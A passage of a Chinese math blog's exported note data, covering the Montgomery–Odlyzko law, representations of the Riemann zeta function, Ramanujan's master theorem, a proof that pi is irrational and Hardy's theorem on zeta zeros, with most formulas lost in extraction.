Fermi）和尤金・维格纳（Eugene Wigner）发现，重原子核的低能共振能级间距呈现出与经典统计力学预测截然不同的分布特性 。维格纳在 1956 年大胆提出，这种能级分布可用随机厄米矩阵的本征值统计来描述，这一思想后来发展为随机矩阵理论（Random Matrix Theory, RMT）的基础。 1972 年，蒙哥马利在普林斯顿高等研究院访问期间，深入研究了黎曼零点的对关联性质。他假设黎曼假设成立（即所有非平凡零点都位于临界线 上），将零点表示为 ，其中 为实部为零的复数的虚部。通过分析这些零点虚部的间距分布，蒙哥马利推导出了对关联函数的表达式 。在一次偶然的下午茶谈话中，他向物理学家弗里曼・戴森（Freeman Dyson）展示了这一结果，戴森立即认出这与随机矩阵理论中高斯幺正系综（GUE）的本征值对关联函数完全一致。这一戏剧性的相遇，开启了数论与物理交叉研究的新纪元。 1987 年，奥德利兹科通过计算黎曼 函数前 1.5 亿个零点（后来扩展到 个零点），以空前的精度验证了蒙哥马利的理论预测 。他的数值结果显示，零点间距的分布与 GUE 系综的理论曲线几乎完美吻合，为蒙哥马利 - 奥德利兹科定律提供了强有力的实验支持。这一发现促使数学家卡茨（Nicholas Katz）和萨纳克（Peter Sarnak）将该定律推广到更广泛的 L 函数零点分布，建立了 \"数论 L 函数 - 随机矩阵\" 对应的一般框架。 定义与数学表述蒙哥马利 - 奥德利兹科定律的核心是对关联函数（pair correlation function）的概念，它描述了随机序列中两个元素间距的统计分布。对于黎曼 函数的零点，我们首先需要对零点的虚部进行正则化处理。已知当 时，临界线 上虚部满足 的零点个数约为 。为了消除整体密度的增长，我们引入正则化零点间距 ，并通过平均间距 进行归一化，得到 。 对关联函数的定义蒙哥马利定义的对关联函数 如下： 其中 为实参数， 是权重函数（确保求和收敛）， 和 遍历所有虚部不超过 的零点。该函数描述了零点对 的相对间距 的统计分布。 定律的数学形式蒙哥马利在假设黎曼假设成立的前提下证明，当 时， 满足渐近关系： 而对于 ，他猜想 。这一结果与随机矩阵理论中高斯幺正系综（GUE）的对关联函数完全一致，后者描述了 随机厄米矩阵本征值在大 极限下的统计分布 。奥德利兹科的数值计算不仅验证了这一公式，还发现当 较大时， 确实趋近于 1，表明远距离零点之间几乎没有相关性。 值得注意的是，巴卢约特（Baluyot）等人在 2024 年的工作中，在不假设黎曼假设的条件下，证明了一个无条件形式的蒙哥马利定理。他们仅要求零点的实部满足 （其中 ），就得到了至少 61.7% 的零点是简单零点的结论，这进一步支持了蒙哥马利 - 奥德利兹科定律的普适性。 详细推导过程：从黎曼零点到对关联函数蒙哥马利对关联函数的推导基于黎曼 函数的显式公式和复分析技巧，整个过程可分为四个关键步骤：零点统计的数学建模、显式公式的应用、积分变换与留数计算、渐近分析与结果提取。以下将详细展开每一步的推导细节。 第一步：零点对关联的数学建模考虑区间 内零点的虚部 ，定义计数函数 ，其渐近公式为： 为了研究零点的局部分布，引入归一化间距 ，其中 和 是相邻零点的虚部。蒙哥马利定义的对关联函数 实际上是归一化间距 的分布函数的傅里叶变换 。通过权重函数 （它是 函数的傅里叶变换），可以将离散的零点对求和转化为连续积分。 第二步：利用黎曼 函数的显式公式在黎曼假设下， 函数的对数导数有如下展开： 蒙哥马利考虑了更一般的显式公式。对于 和 ，他证明了： 其中 是冯・曼戈尔特函数（当 时为 ，否则为 0）， 是实参数。这一公式将零点的分布与素数的分布（通过冯・曼戈尔特函数）联系起来，是解析数论中连接局部零点信息与整体素数性质的核心工具。 第三步：积分变换与留数计算为了提取对关联信息，蒙哥马利对显式公式两边取平方并在 上积分。左边积分涉及零点对 的贡献： 通过变量替换 和 ，并利用留数定理计算积分： 其中 。代入 和 ，得到左边积分的主项为 。 第四步：渐近分析与结果提取右边积分涉及素数项的贡献，通过傅里叶变换和 Parseval 恒等式，可以证明其主项为 。令左右两边的主项相等，最终得到： 这一结果表明，当两个零点的归一化间距 很小时（即 ）， ，呈现平方律增长；而当 时， ，表明零点之间不存在长程关联。这一行为与随机厄米矩阵本征值的对关联函数完全一致，揭示了黎曼零点分布的量子力学特征。 与随机矩阵理论的联系：GUE 系综的普适性随机矩阵理论中，高斯幺正系综（GUE）由所有 厄米矩阵 组成，其概率密度函数为 。当矩阵阶数 时，本征值的统计性质呈现出普适性，与具体的概率分布无关。维格纳在 1956 年猜测，重原子核的能级分布应服从 GUE 统计，这一猜想后来被大量实验数据证实。 GUE 对关联函数的推导对于 GUE 系综，本征值密度在大 极限下满足维格纳半圆律 （归一化到区间 ）。对关联函数 定义为间距 处找到两个本征值的概率密度，其精确表达式为： 这与蒙哥马利得到的 完全相同！这一惊人的巧合暗示，黎曼零点的分布与随机厄米矩阵的本征值分布遵循相同的普适定律。这就像在喜马拉雅山脉发现了海洋生物化石，它表明两个看似无关的世界有着共同的起源。 普适性的数学解释卡茨和萨纳克在 1999 年的工作中指出，蒙哥马利 - 奥德利兹科定律是更广泛的 \"函数域上的黎曼假设\" 的特例 。他们证明，对于有限域上代数曲线的 函数，其零点分布同样满足随机矩阵理论的普适统计规律。这表明，零点 - 本征值对应并非偶然，而是源于某种深层次的数学结构，可能与量子混沌系统的能级分布有关。 从物理角度看，黎曼零点的分布行为类似于量子可积系统与量子混沌系统的边界情况。维格纳 - 戴森猜想指出，量子混沌系统的能级统计服从随机矩阵理论，而可积系统则服从泊松分布（对应 ）。黎曼零点的对关联函数 恰好处于这两种极端情况之间，暗示 函数可能是某种 \"普遍混沌系统\" 的数学模型。 应用与推广：从黎曼 函数到一般 L 函数蒙哥马利 - 奥德利兹科定律不仅深刻影响了数论和数学物理，还在多个领域展现出广泛的应用价值。其核心思想，数论对象的统计性质与随机矩阵理论的普适规律相关联，已成为现代数学的重要范式。 零点简单性的证明蒙哥马利最初的工作就隐含了零点简单性的结论。他证明，假设黎曼假设成立，则至少 67.9% 的非平凡零点是简单的（即没有重零点）。巴卢约特等人 2024 年的无条件结果将这一比例改进为 61.7%，只需假设零点的实部离临界线不远（ ）。这一进展为黎曼假设的证明提供了新的思路，通过零点统计性质间接推断其位置。 广义 L 函数的推广蒙哥马利 - 奥德利兹科定律已被推广到更广泛的自守 L 函数族。例如，戴德金 函数、椭圆曲线的 Hasse-Weil L 函数等，其零点分布均表现出与随机矩阵理论对应的特征 。卡茨和萨纳克提出了 \"单值群猜想\"，断言 L 函数的零点统计性质由其伽罗瓦表示的单值群类型决定：正交群对应高斯正交系综（GOE），辛群对应高斯辛系综（GSE），而一般线性群对应 GUE 。这一猜想将数论、代数几何与随机矩阵理论紧密结合，成为朗兰兹纲领的重要组成部分。 数值验证与算法发展奥德利兹科为验证该定律发展的大规模零点计算算法，推动了数值分析和高性能计算的进步。他使用快速傅里叶变换（FFT）加速 函数的计算，使得零点计算的复杂度从 降至 。2001 年，他计算了黎曼 函数第 个零点附近的 1750 万个零点，进一步确认了对关联函数的 GUE 行为 。这些计算不仅验证了理论预测，还为研究低阶项和偏差提供了数据支持。 结论与展望：未解之谜与未来方向蒙哥马利 - 奥德利兹科定律的发现，彻底改变了数学家对黎曼零点分布的理解。它揭示了一个深刻的事实：数论中最纯粹的对象之一，黎曼 函数的零点，竟与量子力学中最复杂的系统之一，重原子核的能级，遵循相同的统计规律。这一联系至今没有完全的数学解释，成为 21 世纪数学最引人入胜的谜题之一。 核心未解问题数学机制的解释：为什么黎曼零点的分布会与随机矩阵的本征值分布相同？这是否暗示 函数与某个量子混沌系统存在对应关系？目前最有希望的方向是量子力学中的 \"希尔伯特 - 波利亚猜想\"，该猜想假设存在自伴算子 ，使得其本征值恰好是黎曼零点的虚部 。 低阶项的算术意义：蒙哥马利 - 奥德利兹科定律描述的是主项行为，而数值计算显示零点分布存在微小的低阶偏差。这些偏差是否包含算术信息？例如，是否与素数的分布或 L 函数的特殊值有关？ 非临界线零点的可能性：虽然黎曼假设断言所有零点都在临界线上，但蒙哥马利 - 奥德利兹科定律的无条件形式（如巴卢约特等人的结果）表明，即使存在离临界线不远的零点，其统计性质仍可能满足类似规律 。这为研究黎曼假设的弱形式提供了新途径。 未来研究方向从数学角度看，将蒙哥马利 - 奥德利兹科定律推广到高维关联函数（如 n 点关联）是一个重要方向。目前已知 2 点关联函数与 GUE 一致，但 3 点及以上关联的严格证明仍缺失 。从物理角度看，探索 L 函数零点分布与量子引力、弦理论的可能联系，可能带来新的突破。 蒙哥马利 - 奥德利兹科定律的故事，生动地展示了数学与物理交叉融合的创造力。当数论学家和物理学家学会用同一种语言交谈时，他们发现彼此一直在描述同一个宇宙。黎曼零点与随机矩阵的神秘对应，或许正是打开 21 世纪数学新大门的钥匙。"},{"title":"","date":"2025-11-06T23:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/78.html","permalink":"https://blog.mhuig.top/notes/Zeta/78","excerpt":"","text":"黎曼 Zeta 函数的表示方法 黎曼 Zeta 函数的表示方法 引言：数学宇宙的枢纽黎曼 函数是数学中最深刻、最神秘的函数之一，它如同一座桥梁，连接着数论、复分析、几何与物理等多个领域。自 1859 年波恩哈德・黎曼发表那篇开创性的论文《论小于给定数值的素数个数》以来， 函数的研究不仅推动了纯数学的发展，还在量子场论、弦理论等物理学分支中找到了意想不到的应用。这里将系统梳理 函数的各种表示方法，从最初的级数定义到深刻的解析延拓，从欧拉乘积到黎曼 - 西格尔公式，逐步揭示这个函数的丰富结构与内在统一性。 历史背景：从欧拉到黎曼的思想演进 函数的历史可追溯至 18 世纪瑞士数学家莱昂哈德・欧拉。1737 年，欧拉首次研究了实变量情形下的级数 ，并证明了它与素数分布的深刻联系，即著名的欧拉积公式。然而，真正将 函数提升至新高度的是黎曼。在 1859 年的那篇仅有 8 页的论文中，黎曼做出了三项革命性贡献：将 函数的定义域解析延拓至整个复平面（除 处的单极点）；发现了 与 之间的函数方程；提出了关于非平凡零点分布的著名猜想，即黎曼假设（所有非平凡零点的实部均为 ）。 黎曼的工作在当时并未立即被完全理解。直到 1896 年，雅克・阿达马和夏尔 - 让・德拉瓦莱・普桑才利用 函数的性质证明了素数定理，这一成就标志着解析数论的成熟。值得注意的是，黎曼在其论文中巧妙地避开了级数收敛性的复杂讨论，直接通过留数定理得到了解析延拓，这种方法展现了复变函数论的强大威力。此外，黎曼在研究中实质上使用了复平面上的旋转操作（如将 函数旋转角度 ），尽管他并未明确提及复平面表示，这在当时是相当超前的思想。 基本定义与初级表示1. Dirichlet 级数定义黎曼 函数最基本的定义是 Dirichlet 级数： 这个级数在复平面上的收敛域为 。当 为实数且 时，这是一个实数项级数；当 为复数 时，级数的收敛性由实部 决定。例如，当 时，级数收敛到 ，这就是著名的巴塞尔问题，由欧拉在 1735 年解决。 为了将 函数的定义域扩展到 （ ），我们可以利用交错级数的性质，引入狄利克雷 eta 函数 ： 在 时收敛。通过简单的代数运算，可以得到 与 之间的关系： 这一表达式将 函数的定义域延拓到了 ， 的区域。 2. 欧拉积公式欧拉的另一项伟大发现是 函数的乘积表示，即欧拉积公式： 其中 表示全体素数的集合。这个公式在 时成立，它将 函数与素数分布紧密联系起来，是解析数论的基石。 证明思路：对于每个素数 ，考虑几何级数展开： 将所有这些几何级数相乘，根据素数的唯一分解定理，乘积中每一项 （ 为正整数）恰好出现一次。因此，乘积等于 。 欧拉积公式的重要性在于，它将数论中离散的素数与分析中连续的 函数联系起来，为后续研究素数分布提供了强大工具。例如，当 时，我们有： 这一结果展示了素数与圆周率之间令人惊讶的联系。 3. 积分表示：与伽马函数的联系通过伽马函数 的积分定义，我们可以得到 函数的积分表示。伽马函数定义为： 将上式两边同时除以 ，得到： 对 从 1 到 求和，交换求和与积分顺序（在 时，由一致收敛性保证交换的合理性）： 注意到 （几何级数求和），因此： 这一积分表示揭示了 函数与伽马函数、指数函数之间的深刻联系，为后续的解析延拓奠定了基础。 解析延拓与积分表示的深化1. 利用取整函数的积分表示为了将 函数延拓到更广泛的区域，我们可以利用取整函数 （不大于 的最大整数）。考虑积分： 将积分区间分割为 ，其中 为正整数。在每个区间上， ，因此： 计算积分 ，代入上式得： 展开右边的级数，得到一个 telescoping 级数（部分和可以相互抵消）： 因此，我们得到： 这个积分表示在 时成立，进一步扩展了 函数的定义域。通过分部积分或其他技巧，还可以将其延拓到整个复平面（除 外）。 2. 黎曼的解析延拓方法黎曼在其 1859 年的论文中，采用了一种更为巧妙的方法进行解析延拓。他考虑了以下积分： 其中积分路径绕过原点，使得 有良好定义。通过留数定理计算这个积分，黎曼得到了 在整个复平面上的表达式。这种方法的核心思想是利用复变函数的围道积分和留数理论，避开了直接讨论级数收敛性的困难，展现了复分析的深刻威力。 函数方程与对称性质黎曼 函数最优美的性质之一是其函数方程，它揭示了 与 之间的对称关系： 这个方程是解析数论的核心，它将 函数在右半平面（ ）和左半平面（ ）的值联系起来。例如，我们可以利用它计算 函数在负整数点的值，如 （尽管这需要理解为解析延拓的结果，而非原始级数的和）。 函数方程的推导概要函数方程的证明可以通过多种途径，其中一种经典方法是利用之前得到的积分表示 。将积分区间分为 和 ： 对第一个积分作变量替换 ，对第二个积分作变量替换 ，并利用几何级数 （当 时），经过一系列复杂的计算和化简，可以得到函数方程。 Xi 函数与对称性的深化为了更清晰地展现 函数的对称性，黎曼引入了 Xi 函数 ： 根据 函数的函数方程，可以证明 是一个整函数（在整个复平面上解析），并且满足 。这一对称性表明， 函数的零点关于直线 对称，这是黎曼假设的基础。 最近的研究通过对 Xi 函数进行分部积分和变量替换，得到了更深入的积分表示。例如，利用 （ theta 函数的一种变体），可以将 表示为： 当 时（即临界线上），上式变为： 这表明 是 的偶函数，因此 函数的非平凡零点关于实轴对称。这种表示方法为研究零点分布提供了重要工具，也为黎曼假设提供了直观支持 —— 如果 的零点都位于 ，那么 函数的非平凡零点也同样如此。 高级表示：乘积公式与解析延拓1. 阿达马乘积表示整函数的因子分解定理表明，任何非常数整函数都可以表示为其零点的乘积。对于 函数，由于它在整个复平面上只有一个单极点 ，其标准化形式（如 Xi 函数）是整函数，可以应用这一定理。阿达马在 1893 年证明了 函数的乘积表示： 其中 是归一化后的整函数。这一公式由 Hadamard 通过整函数理论严格证明，通过引入 xi 函数消除了 zeta 函数在 处的奇点及负偶数平凡零点。 对于 Zeta 函数有正比关系： 详细的有： 其中： 遍历 函数的所有非平凡零点（即满足 的零点）； 是一个常数，由 确定，其值为 ，其中 是欧拉 - 马歇罗尼常数； 项补偿了 函数在负偶数点 的平凡零点。 阿达马乘积表示的重要性在于，它将 函数完全由其零点和极点决定，揭示了函数的整体结构。每个非平凡零点 通过因子 对函数值产生影响，这也是研究零点分布为何对理解 函数至关重要的原因。 2. 黎曼 - 西格尔公式在计算 函数在临界线（ ）上的值时，黎曼 - 西格尔公式（Riemann-Siegel formula）是一个强大的工具。黎曼在其未发表的笔记中已经得到了这一公式的雏形，后来由西格尔在 1932 年整理发表。该公式将 表示为一个主项和一个余项之和，主项是有限项的和，余项则是一个积分，便于数值计算。 黎曼 - 西格尔公式的推导基于 函数的积分表示和最速下降法（method of steepest descent），其具体形式较为复杂，但核心思想是将难以计算的无穷级数或积分转化为收敛迅速的表达式。这一公式不仅为数值验证黎曼假设提供了可能（至今已验证了超过十万亿个零点都位于临界线上），也为理论研究提供了深刻见解。 应用与现代研究1. 素数分布的显式公式 函数的零点分布与素数分布之间存在着深刻的联系。通过对 函数的对数导数 进行积分，可以得到素数计数函数 （小于等于 的素数个数）的显式表达式： 余项 其中 是对数积分函数， 遍历 函数的非平凡零点。这个公式表明，素数的分布直接受 函数零点的影响。如果黎曼假设成立，那么余项的估计可以得到显著改善，素数定理的误差项也会更小。 2. 物理学中的应用 函数的应用远不止于数论。在量子场论中， 函数 regularization 是处理发散积分的一种重要方法。例如，在计算 Casimir 效应（真空中两块平行导体板之间的吸引力）时，能量密度的表达式包含无穷级数，通过 函数的解析延拓可以将其正则化为有限值。此外，在非对易几何、弦理论等领域， 函数也有重要应用，如描述非对易环面上的玻色子和费米子场。 3. 广义求和与发散级数 函数的研究也推动了发散级数求和理论的发展。欧拉最早认识到需要为发散级数赋予一个合理的值，而黎曼的解析延拓思想为这一问题提供了严格的数学基础。例如，级数 可以通过 来理解，这里的等号应理解为解析延拓的结果，而非通常意义上的求和。这种广义求和方法在物理学中有着广泛应用，如弦理论中的 tachyonic 场论。 结论与展望黎曼 函数的各种表示方法，从最初的 Dirichlet 级数和欧拉积，到深刻的阿达马乘积和黎曼 - 西格尔公式，共同编织了一幅连接数论、复分析与物理学的宏大画卷。每一种表示都揭示了函数的一个侧面：级数定义直观展示了它与自然数的联系，欧拉积揭示了它与素数的深刻关联，积分表示连接了离散与连续，而函数方程和乘积公式则展现了其优美的对称性和整体结构。 尽管经过了一个半世纪的研究， 函数仍有许多未解之谜，其中最著名的就是黎曼假设。近年来，研究者们尝试从多个角度攻击这一问题，如通过分析 函数在临界线上的性质、研究其零点的统计规律与随机矩阵理论的联系等。例如，有学者通过研究 函数的向量表示，提出了一种基于共轭调和函数性质的黎曼假设证明思路，尽管尚未完全成功，但为问题的解决提供了新的视角。 从欧拉到黎曼，从阿达马到现代的研究者们， 函数的故事是人类智力探索的一个缩影。它不仅是数学的瑰宝，也为我们理解宇宙的深层结构提供了独特的视角。正如黎曼在其开创性论文中所暗示的，对 函数的深入研究，或许正是揭开数学宇宙终极奥秘的开始。"},{"title":"","date":"2025-11-07T01:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/79.html","permalink":"https://blog.mhuig.top/notes/Zeta/79","excerpt":"","text":"拉马努金主定理 拉马努金主定理 拉马努金主定理（Ramanujan Master Theorem）是 20 世纪数学史上最具洞察力的发现之一，它建立了幂级数展开与积分变换之间的深刻联系，展现了离散与连续数学结构的内在统一性。1913 年，印度数学家斯里尼瓦萨・拉马努金在给 G.H. 哈代的信中首次提出这一定理的雏形，其原始表述虽缺乏严格的收敛性证明，却蕴含着惊人的数学直觉。哈代后来完善了定理的收敛条件，使其成为复分析与数论研究的重要工具。这一定理的核心价值在于，它将无穷级数的求和问题转化为函数在负整数点的取值，为复杂积分计算提供了简洁路径，其影响从经典分析延伸至现代物理的量子场论与弦理论领域。 历史背景与发现历程拉马努金的数学思维具有鲜明的独创性。1887 年出生于印度泰米尔纳德邦的他，几乎完全依靠自学掌握了高等数学，1903 年获得的《纯粹和应用数学基本结果概要》（G.S. Carr 著）成为其数学启蒙的关键读物。在极端贫困的环境下，拉马努金坚持记录数学发现，积累了数千个公式，其中许多包含后来被证实的深刻结果。1913 年，他向剑桥大学的哈代寄送了包含 120 个定理的信件，其中三个关于模形式的公式令哈代震惊 ——\"它们完全征服了我... 能写下它们的人一定是最顶尖的数学家\"。 拉马努金在 1916 年的《剑桥哲学汇刊》论文中系统阐述了主定理的基本思想，但他的证明方法缺乏现代数学的严格性，尤其未明确处理积分收敛性问题。哈代在 1920 年代补充了关键的收敛条件，要求函数 满足指数型增长限制 （其中 ），这一条件确保了复平面上积分路径的合理性。值得注意的是，拉马努金的原始手稿显示，他通过对具体例子的归纳而非严格推导发现了这一规律，这种 \"直觉即真理\" 的思维方式与西方数学传统形成鲜明对比。 严格定义与数学表述拉马努金主定理的现代标准形式可表述为：若函数 具有交错幂级数展开 其中 可延拓为复平面上的整函数，且满足哈代增长条件，则对于 ，其梅林变换可表示为 这里 是欧拉伽马函数。该定理的等价形式常用 直接表示级数系数：若 ，则 其中 。这两种形式通过伽马函数的余元公式 相互联系。 定理成立的关键条件包括： 在半平面 （ ）上解析；存在常数 使得对所有 满足 ；以及积分路径上无极点干扰。这些条件确保了复分析中的留数定理能够有效应用，将无穷级数求和转化为函数在特定点的取值。 证明方法详解方法一：基于留数定理的复分析证明考虑复变函数 ，其在复平面上的极点位于 。构造从 到 （ ）的积分路径，当 时，由 的增长条件和斯特林公式 可知，路径两端的贡献趋于零。 根据留数定理，围道积分等于被积函数在所有极点留数之和： 计算 处的留数，注意到 在 处的留数为 ，因此： 代入 的级数展开式即得： 最后应用梅林变换的定义，将上式两边同乘 并积分，交换积分顺序即完成证明。 方法二：通过伽马函数的积分表示推导利用伽马函数的积分表示 ，考虑 的特殊情形，此时 ，代入定理结论得： 这恰为伽马函数的定义，验证了定理在基本情形下的正确性。对于一般情形，将 的级数逐项积分： 积分 ，代入得： 当 为多项式时，上式可由二项式定理化简为 ，从而启发一般情形的证明思路。 方法三：广义拉马努金定理的归纳证明若 且 ，则 证明通过变量替换 建立积分变换的尺度不变性，再利用泰勒展开交换积分与求和顺序： 令 ，通过参数代换可将级数转化为积分形式，最终得到广义定理的结论。取 时 ，即还原拉马努金主定理。 应用方法与实例分析贝塔函数与伽马函数关系的推导贝塔函数定义为 ，通过变量替换 可转化为 将 展开为幂级数 ，对比拉马努金定理形式可知 ，代入定理得： 这一经典结果通过拉马努金定理得到极大简化，避免了传统证明中复杂的变量替换。 广义菲涅尔积分的计算考虑积分 ，令 得 ， ，转化为 利用欧拉公式 ， ，此时 ，代入定理得： 取虚部并令 ，最终得到 ，当 时还原为菲涅尔积分 。 黎曼 函数与伯努利数的关联黎曼 函数的积分表示为 ，被积函数可展开为 ，逐项积分得 。利用伯努利数生成函数 ，对比拉马努金定理形式，其中 ，代入得： 左端即为 ，从而建立关键关系 ，这一结果在解析数论中具有基础地位。 费曼图计算中的应用在量子场论中，拉马努金主定理为费曼图的积分计算提供了高效工具。Gonzalez 等人 2011 年的研究表明，通过施温格参数化将费曼积分转化为指数形式后，可直接应用广义拉马努金定理。例如，对于传播子积分 ，通过维度正规化技术引入参数 ，应用定理可快速得到结果的解析表达式，避免传统 Feynman 参数积分的复杂计算。这种方法已成为高能物理计算的标准工具之一。 扩展形式与现代发展拉马努金主定理的扩展主要沿着两个方向发展：一是 Atale 提出的 Type-(I,II) 插值公式，二是多变量推广的 \"括号方法\"。Type-I 插值公式处理仅含奇次项的级数： 类似地，Type-II 插值处理偶次项级数，两者分别对应正弦和余弦积分的推广。这些扩展使得定理能够处理如 、 等特殊函数的积分，进一步丰富了其应用范围。 2012 年，Chaudhry 和 Qadir 将哈代的收敛条件扩展到更广泛的函数类，允许 在更大的半平面上解析，这一进展使得定理可应用于更多非多项式增长的函数。在数论领域，拉马努金定理与黎曼假设的研究存在深刻联系，Riesz 函数 的积分表示正是通过主定理建立，而 Riesz 准则表明黎曼假设等价于 。 从数学史角度看，拉马努金主定理的发现过程完美体现了直觉思维与严格证明的辩证关系。拉马努金凭借对数字模式的敏锐洞察直接写出定理结论，而哈代等数学家则提供了坚实的逻辑基础。这种思维方式的互补性，正是推动数学发展的重要动力。今天，定理的影响已超越纯数学领域，在量子场论的发散级数重整化、弦理论的额外维度计算等前沿物理研究中，拉马努金的数学遗产依然发挥着关键作用。 拉马努金主定理的故事也引发深刻思考：在追求严格性的同时，数学是否应当保留足够的直觉空间？拉马努金的思想属于这样一种类型，它们直击问题核心而无需冗长的中间步骤。这种独特的思维方式，使得拉马努金的数学发现如同跨越百年的火炬，持续照亮着数学探索的新领域。"},{"title":"","date":"2025-09-14T05:34:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/8.html","permalink":"https://blog.mhuig.top/notes/Zeta/8","excerpt":"","text":"Riemann’s Zeta Function Riemann’s Zeta Function"},{"title":"","date":"2025-11-08T02:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/80.html","permalink":"https://blog.mhuig.top/notes/Zeta/80","excerpt":"","text":"不知名的碎片 8 不知名的碎片 8 可以是数也可以是式子。 这个性质可以用来搞积。 我们从之前文章的例题中拿出两个式子来研究： 左边是求和，右边是等比数列求和。 设左边求和为 右边等比数列求和为 其中 的通项为 的通项为 我们知道如果通项相等，则前 n 项和相等。 那么反过来，前 项和相等 ,那么通项 相等吗？ 必然相等。即： 这恰好就是伽马函数换元变形后的结果。 我们也可以尝试数学归纳的方法推导。 考虑积分： 先对原式进行一次分部积分，得： 其中： 所以 因此我们又将积分问题转换成了递推关系问题： 最终，我们得到了"},{"title":"","date":"2025-11-08T06:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/81.html","permalink":"https://blog.mhuig.top/notes/Zeta/81","excerpt":"","text":"不知名的碎片 9 不知名的碎片 9 我们从之前关于 π 无理性证明的文章中拿出一个式子来研究： 变形我们的目标是对上式进行一系列变形变为 。 变量替换：对称区间化平移变换消去区间不对称性 原积分区间为 ，中点为 。设 （即 ），则： 当 时， ；当 时， ，积分区间变为对称区间 。 微分关系： 。 三角函数化简：利用诱导公式 ，故 。 多项式部分的代数变形展开 将 代入多项式部分： 展开后得： 若要使多项式化为平方差形式 ，需满足交叉项系数为 0 且常数项匹配： 令 （消去一次项 ），解得 。 代入常数项： ，需进一步令 ，则 。 此时多项式简化为： 引入有理数假设与积分规范化假设 为有理数 若 是有理数，设 （ 为互质正整数），则 ，代入多项式得： 为使被积函数系数为整数，分子分母同乘 ，并结合 规范化，最终得： 整合结果将变量替换、多项式化简和有理数假设代入原积分，得到： 其中关键参数对应关系为 、 ，且积分变量 替换回 （哑变量无关性）。 验证与核心逻辑 变量替换合理性：通过 实现区间对称化，简化被积函数奇偶性分析。 多项式构造技巧：选择 消去一次项，确保多项式为平方差形式，为后续递推和估值奠定基础。 有理数假设作用：引入 因子后，积分 在 为有理数时成为整数，与 “积分可任意小” 矛盾，最终证明 π 的无理性。 这一变形展现了从一般多项式积分到特殊对称积分的构造过程，是尼文 无理性证明的核心步骤。 证明 π 是无理数要证明 是无理数，可通过构造积分 的递推关系，结合反证法导出矛盾。以下是具体步骤： 反证法假设与积分构造假设 为有理数：设 （ 为互质正整数），则 。 定义积分： 对称区间：积分区间 关于原点对称，被积函数 为偶函数，可简化为 。 多项式性质： ，通分后分子为整系数多项式，乘以 后变为整数多项式，确保积分的整数性基础。 分部积分与递推公式推导第一步 分部积分：设 ， ，则 ， 。积分化为： 边界项 （因 时 ），剩余积分： 第二步分部积分：设 ， ，则 ， 。 整理后得递推关系： 初始条件： （整数）； （整数）。 整数性证明归纳法： 基础情形： ， 均为整数。 归纳假设：设 为整数，由递推公式 ，因 为整数，故 为整数的线性组合，仍为整数。 核心结论：对所有 ， 为正整数（因被积函数在区间内恒正，积分值为正）。 积分估值与矛盾被积函数有界性：在区间 上， ，且 ，故： 积分估计： 因 （常数），当 时，分母 增长速度远超分子指数项，故 。 矛盾：存在充分大的 使得 ，但 为正整数，这与 “正整数至少为 1” 矛盾。 结论原假设 “ 是有理数” 不成立，故 为无理数。 该证明通过对称区间积分构造、递推关系推导和极限估计，简洁地导出矛盾，是尼文证明的变体形式，体现了分析学与数论的巧妙结合 。 这一方法的核心价值在于：通过多项式规范化（ 因子）和对称区间设计，同时保证了积分的整数性和可任意小性。"},{"title":"","date":"2025-11-09T05:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/83.html","permalink":"https://blog.mhuig.top/notes/Zeta/83","excerpt":"","text":"不知名的碎片 11 不知名的碎片 11 设函数 在 内有连续导数, 证明 证法 1 : 由积分中值定理, 存在 ,使 再用拉格朗日中值定理, 得到 所以 故原式左端 证法 2: 令 , , 则 所以原式"},{"title":"","date":"2025-11-09T07:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/84.html","permalink":"https://blog.mhuig.top/notes/Zeta/84","excerpt":"","text":"哈代定理 哈代定理 历史背景与问题起源19 世纪末，黎曼在《论小于给定数值的素数个数》中提出著名猜想： 黎曼 函数的所有非平凡零点均位于临界线 上。这一猜想将素数分布与复变函数零点紧密关联，但黎曼仅验证了前几个零点便戛然而止。20 世纪初，尽管阿达马（Hadamard）和冯・曼戈尔特（von Mangoldt）证明了零点有无穷多个，却未能确定其分布区域。 1914 年，英国数学家 G. H. 哈代（G. H. Hardy）取得突破性进展： 他首次证明临界线上存在无穷多个非平凡零点，这一结果被称为哈代定理。1921 年，哈代与李特尔伍德（J. E. Littlewood）进一步将结论强化为密度估计： 存在常数 ，使得当 充分大时，临界线上 内的零点个数 。这一结果不仅为黎曼猜想提供了实质性支持，更开创了通过复分析技巧研究零点分布的范式。 核心概念与数学基础黎曼 函数与 Xi 函数黎曼 函数 的非平凡零点关于临界线对称，故仅需研究 的情形。为简化分析，哈代引入 Xi 函数 ： 该函数满足 ，且其实部在临界线 上为实值偶函数 。因此， 在临界线上的零点等价于 的实零点。 关键积分表示哈代的证明依赖于 的积分变换。定义 通过 Jacobi theta 函数的变换公式，可将其与模形式 关联： 其中 满足函数方程 。这一关系揭示了 的零点分布与模形式衰减性的深层联系。 哈代定理的详细推导（1914 年版本）反证法框架哈代采用反证法： 假设 在 时不变号（不妨设非负），则可推导出 的高阶导数矛盾。 高阶导数分析对 求 阶导数： 当 时，右侧第二项因 的快速衰减趋于零，故 若 最终非负，则左侧积分在 时收敛。但通过估计积分尾项发现： 这与右侧的指数衰减（ ）矛盾，从而证明 必须无穷次变号，即有无穷多个零点。 哈代 - 李特尔伍德密度定理（1921 年强化）多区间零点探测哈代与李特尔伍德引入滑动区间积分： 对固定 ，定义 若 ，则 内必有零点。通过覆盖区间 并估计无零点区间的测度，可将零点个数下界转化为测度估计问题。 Fourier 变换与 L² 范数估计利用 Parseval 定理， 的 L² 范数可通过其 Fourier 变换控制： 结合 的渐近性质与 Dirichlet 多项式的二次均值估计，最终得到无零点区间的测度 ，从而推出 取 为常数即得 。 定理意义与后续发展哈代零点定理首次将模形式、积分变换与复分析技巧结合，为后续塞尔伯格（Selberg）、莱文森（Levinson）等人的工作奠定基础。 哈代 - 李特尔伍德的 表明临界线上的零点正密度存在，暗示黎曼猜想可能成立。 其思想被推广至数论、调和分析等领域，例如用于证明 Hardy 不确定性原理 (一个函数与其 Fourier 变换不能同时指数衰减)。 后续研究中，塞尔伯格（1942）证明临界线上零点比例为正，莱文森（1974）将比例改进至 